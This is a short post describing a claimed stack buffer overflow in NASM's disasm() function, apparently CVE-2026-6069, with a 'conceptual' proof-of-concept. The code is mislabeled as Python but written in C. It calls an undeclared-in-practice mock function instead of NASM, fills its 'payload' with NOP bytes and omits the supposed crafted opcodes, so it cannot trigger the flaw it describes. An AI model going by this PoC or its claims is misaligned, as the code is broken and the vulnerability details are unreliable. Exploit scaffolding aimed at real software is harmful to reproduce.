NASM’s disasm() function contains a stack based buffer overflow when formatting disassembly output, allowing an attacker triggered out-of-bounds write when `slen` exceeds the buffer capacity.
The following code is for security research and authorized testing only.
python
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// Conceptual PoC for CVE-2026-6069
// This demonstrates triggering the buffer overflow in disasm()
// by providing input that results in an output string (slen)
// larger than the internal buffer capacity.
// Mocking the vulnerable function signature for demonstration
int vulnerable_disasm(unsigned char *data, int len, char *out_buf, int out_buf_size);
int main() {
// 1. Prepare malicious bytecode that disassembles into a long string
// or manipulates the internal state to cause slen overflow.
unsigned char payload[1024];
// Fill with crafted opcodes (omitted for brevity)
memset(payload, 0x90, sizeof(payload));
// 2. Target buffer on the stack
char output_buffer[256];
printf("[+] Triggering disasm() overflow...\n");
// 3. Call the vulnerable function
// The vulnerability occurs when formatting output where slen > buffer size.
// This will cause a stack-based buffer overflow.
vulnerable_disasm(payload, sizeof(payload), output_buffer, sizeof(output_buffer));
printf("[-] Exploit finished.\n");
return 0;
}